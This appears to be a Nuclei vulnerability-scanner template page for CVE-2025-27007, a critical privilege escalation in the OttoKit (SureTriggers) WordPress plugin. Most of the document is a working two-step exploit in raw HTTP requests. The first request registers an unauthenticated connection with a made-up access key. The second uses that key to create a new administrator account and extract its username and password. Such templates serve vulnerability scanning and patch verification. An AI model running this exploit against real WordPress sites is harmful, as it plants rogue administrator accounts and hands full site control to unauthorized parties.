OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation

CVE-2025-27007
Verified

Description

Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.

Severity

Critical

CVSS Score

9.8

Exploit Probability

2%

Published Date

May 13, 2025

Template Author

iamnoooob, rootxharsh, pdresearch

CVE-2025-27007.yaml
id: CVE-2025-27007

info:
  name: OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.
  reference:
    - https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve
    - https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27007
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-27007
    cwe-id: CWE-266
    epss-score: 0.01944
    epss-percentile: 0.82431
  metadata:
    verified: true
    max-request: 2
    public-query: "/wp-content/plugins/suretriggers"
  tags: cve,cve2025,ottokit,intrusive,priv,wordpress,wp-plugin,wp,suretriggers

variables:
  username: "admin"
  password: "{{randstr}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  access_key: "{{randbase(10)}}"
  attacker: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/sure-triggers/v1/connection/create-wp-connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        User-Agent: OttoKit

        {"sure-triggers-access-key": "{{access_key}}", "wp-password": "a", "connection_status": "ok", "wp-username": "{{username}}", "connected_email": "{{email}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'success'
          - 'Connected successfully.'
        internal: true
        condition: and

  - raw:
      - |
        POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
        Host: {{Hostname}}
        St-Authorization: Bearer {{access_key}}
        Content-Type: application/x-www-form-urlencoded

        selected_options[user_name]=new_{{username}}&selected_options[user_email]={{attacker}}&selected_options[password]={{password}}&selected_options[role]=administrator&integration=WordPress&type_event=create_user_if_not_exists&

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"administrator":true'
          - '"success":true'
          - "new_{{username}}"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: new_" + username + " Password: " + password'
# digest: 4a0a004730450220228f05883b61328856bcd69e6cf8e8721a787051bc6a56fe853a09ead59088500221008de0f4c7c43429c78f7b138bcfb89a1146a25063b25601d8eeb3336e8b1b2445:922c64590222798bb761d5b6d8e72950